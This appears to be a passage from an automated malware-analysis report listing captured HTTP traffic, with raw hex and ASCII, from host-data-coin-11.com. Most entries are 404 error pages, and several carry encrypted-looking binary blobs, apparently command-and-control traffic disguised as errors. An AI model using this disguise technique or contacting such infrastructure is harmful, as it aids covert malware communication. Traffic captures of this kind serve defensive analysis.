Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 34 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 53 d1 42 d4 ff 26 85 21 ec ac 96 51 28 e2 b1 49 2d e3 b3 b7 60 fb 9a b5 5d ae 7c 96 ca 31 4a 59 3a 0e 43 dd bb 41 a7 f7 5e 9e ba dd 42 c6 36 9d 0d 0a 30 0d 0a 0d 0a Data Ascii: 64I:82OB%,YR("XSB&!Q(I-`]|1JY:CA^B60
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Sun, 09 Jan 2022 17:47:16 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Sun, 09 Jan 2022 17:47:18 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 02 e9 1a d1 70 ae 59 4a d9 52 a6 be 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e7 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOjpYJRg%XQAc}yc0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c ed ac 8c 70 bc 57 dd 43 d1 fc 2e 8d 25 ee c3 93 58 2a e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWC.%X*c0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
